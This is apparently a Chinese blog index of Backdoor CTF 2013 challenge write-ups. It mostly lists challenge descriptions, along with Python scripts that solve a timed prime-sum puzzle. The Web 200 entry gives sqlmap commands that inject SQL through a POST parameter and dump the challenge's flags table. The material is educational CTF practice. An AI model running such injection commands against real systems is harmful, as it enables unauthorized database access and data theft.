Backdoor CTF 2013: Web 300

作者: 分类: CTF 评论: 暂无 时间: 2016-08-13 浏览: 3,674 次

0x00 题目

H4x0r的网站系统需要积分,为你账号获得积分从而获取flag,你可以审计一波网站系统源代码
提示:管理员有一堆积分,就看你能不能用了。

0x01 解题

阅读全文»

Backdoor CTF 2013: Web 500

作者: 分类: CTF 评论: 暂无 时间: 2016-08-13 浏览: 2,815 次

0x00 题目

有人提醒了H4x0r他的Web150新闻网站存在漏洞,所以H4x0r加固了网站。你现在需要找到网站管理用户的密码散列从而得到flag。

阅读全文»

Backdoor CTF 2013: Web 200

作者: 分类: CTF 评论: 暂无 时间: 2016-08-13 浏览: 2,042 次

0x00 题目

H4x0r在某个地方藏了一个flag,找到flag

0x01 解题

post的q参数没有过滤处理:

sqlmap.py -u http://backdoor-problems.cognizance.org.in/web200/submit.php --data q=a -p q --threads 10
sqlmap.py -u http://backdoor-problems.cognizance.org.in/web200/submit.php --data q=a -p q --threads 10 --tables
sqlmap.py -u http://backdoor-problems.cognizance.org.in/web200/submit.php --data q=a -p q --threads 10 --sql-query="select * from flags"

Backdoor CTF 2013: Crypto 400

作者: 分类: CTF 评论: 暂无 时间: 2016-08-13 浏览: 3,939 次

0x00 题目

现在,这里有个公开的挑战,h4x0r创造了他自己的加密算法,决定向世界上所有的黑客发起挑战。他已经在这里公布了加密代码,他向你发起挑战,如果成功破解已加密的文本,承诺会给你丰厚的奖励。不要想得太复杂,已经给了提示,加密只是字母数字方式的。
使用上述加密算法之后的加密文本是:168 232 100 162 135 179 112 100 173 206 106 123 106 195 179 157 123 173
Flag就是文本信息的MD5值。
提示:有时候最直接的方法往往接近答案。

阅读全文»

Backdoor CTF 2013: Web 150

作者: 分类: CTF 评论: 暂无 时间: 2016-08-11 浏览: 3,110 次

0x00 题目

现在,你发现了H4x0r的公告网,这个站点在很久之前就建立了,所以有可能存在一些漏洞。
找到网站管理员密码的MD5值。

阅读全文»

Backdoor CTF 2013: 杂项 75

作者: 分类: CTF 评论: 1条 时间: 2016-08-10 浏览: 6,976 次

0x00 题目

H4x0r曾在他的博客上说道,“时间最终赶上了每个人,除了H4x0r。如果你能挑战我!”

来吧:时光穿梭门

0x01 解题

打开传送门之后,题目要求在3秒内提交前N(比如:30个)素数的和。

第一种方法的算法思想就是简单的素数判断方法

import re
import httplib
import urllib, urllib2, cookielib

def find_sum_of_first_N_prime_numbers(N):
    sum = 0
    n = 0
    num = 1
    while n < N:
        # prime numbers are greater than 1
        if num > 1:
            for i in range(2,num):
                if (num % i) == 0:
                    break
            else:
                sum += num
                n = n+1
        num = num+1
    return sum

conn = httplib.HTTPConnection("hack.bckdr.in")
response = conn.request("GET", 'http://hack.bckdr.in/2013-MISC-75/misc75.php')
response = conn.getresponse()
text = response.read()
num_in_page = [int(s) for s in text.split() if s.isdigit()]
N = num_in_page[1]
sum = find_sum_of_first_N_prime_numbers(N)

headers = response.getheaders()
cookie = headers[2][2]

headers = {"Content-type": "application/x-www-form-urlencoded"
            , "Cookie": cookie
            , "Host": "hack.bckdr.in"
            , "Connection" : "keep-alive"
            , "Cache-Control" : "max-age=0"
            , "Origin": "http://hack.bckdr.in"
            , "Referer": "http://hack.bckdr.in/2013-MISC-75/misc75.php"
            , "User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36"}

params = urllib.urlencode({'answer': sum, 'submit': 'Submit'})

response = conn.request("POST", 'http://hack.bckdr.in/2013-MISC-75/misc75.php', params, headers)
response = conn.getresponse()
print(response.read())

但我感觉这个算法效率太低,如果题目给的数字很大,验证时间再调小,这个算法就不再适用了,根据素数判断算法(高效率)一文编写了另一个参考示例:

首先生成质数列表:

import math
import time
start=time.clock()
n=10000000
result = list()
result.append(2)
result.append(3)
for i in xrange(5,n+1,2):
    for j in xrange(3,int(math.sqrt(i))+1):
        if i%j == 0:
            break
    else:
        result.append(i)
end=time.clock()
print end-start
f=open(r'prime_number.txt','w')
for x in result:
    f.write(str(x)+'\n')
f.close

主要用到算法思想:

判断一个数是否为素数只需除以这个数的平方根+1之间的所有的数
从2开始往后依次增1的数列里所有偶数一定不是素数(这能减少一半的时间)
素数快速筛选法

测试了一下(CPU:Intel(R) Core(TM) i5-4200H CPU @ 2.80GHz System:Windows 10 Pronfessional x64),生成前10000以内的素数平均0.02秒,生成前100000以内的素数平均0.3秒,生成前1000000以内的素数平均7秒,生成前10000000以内的素数平均140秒,速度还是可以的,但是这肯定不是最优的,应该还可以进行优化。

然后是读取素数表计算前N个素数的和并提交结果:

import requests
import re
import time

def main():
    starttime=time.clock()
    url = "http://hack.bckdr.in/2013-MISC-75/misc75.php"
    req = requests.get(url)
    tmpcookies = req.cookies
    match = re.findall(r'[0-9]+', req.text); num = int(match[1])
    try:
        src = open("prime_number.txt", "r")
        data = src.read()
    finally:
        src.close()
    primelist = data.split()
    sum = 0
    for i in range(0, num):
        sum += int(primelist[i])
    print("Sum is {}.".format(sum))
    data = {"answer": sum}
    req2 = requests.post(url, data=data, cookies=tmpcookies)
    print(req2.text)
    endtime=time.clock()
    print endtime - starttime

if __name__ == "__main__":
    main()

也可以将两部分写在一起

import requests
import re
import math

def prime_generate(n):
    result = list()
    result.append(2)
    result.append(3)
    for i in xrange(5,n+1,2):
        for j in xrange(3,int(math.sqrt(i))+1):
            if i%j == 0:
                break
        else:
            result.append(i)
    return result

def calc_sum(num):
    finsum=0
    for x in prime_generate(10000)[:num]:
        finsum=finsum+x
    return finsum  

def main():
    url = "http://hack.bckdr.in/2013-MISC-75/misc75.php"
    req = requests.get(url)
    tmpcookies = req.cookies
    # Set rundom N.
    match = re.findall(r'[0-9]+', req.text); num = int(match[1])
    sum=calc_sum(num)
    data = {"answer": sum}
    req2 = requests.post(url, data=data, cookies=tmpcookies)
    print(req2.text)

if __name__ == "__main__":
    main()

小伙伴有什么优化的算法还请告诉我,一起交流学习:P

Backdoor CTF 2013: Web 50

作者: 分类: CTF 评论: 1条 时间: 2016-08-06 浏览: 6,618 次

0x00 题目

H4x0r,一天早上,为自己的网站搞了一个身份验证系统。他很自然觉得自己搞了一个先进高端的系统,然而我们是知道他是多么"出色的"。成为管理员非常容易,你可以访问这个链接的轻松获取flag。

0x01 解题

阅读全文»

Backdoor CTF 2013: 电子取证 300

作者: 分类: CTF 评论: 暂无 时间: 2016-08-04 浏览: 3,785 次

0x00 题目

H4x0r知道现在简单的文本认证在现今时代被破解根本不是事儿,如今语音认证可谓是风靡一时。因此,他决定也让他的城堡来个语音认证,可惜他不太懂这方面,现在有一个音频文件,他自己似乎无法破译,现在他需要你的帮助,你可以在这里下载这份音频文件。

找到隐藏的密码,flag就是密码的MD5值。

阅读全文»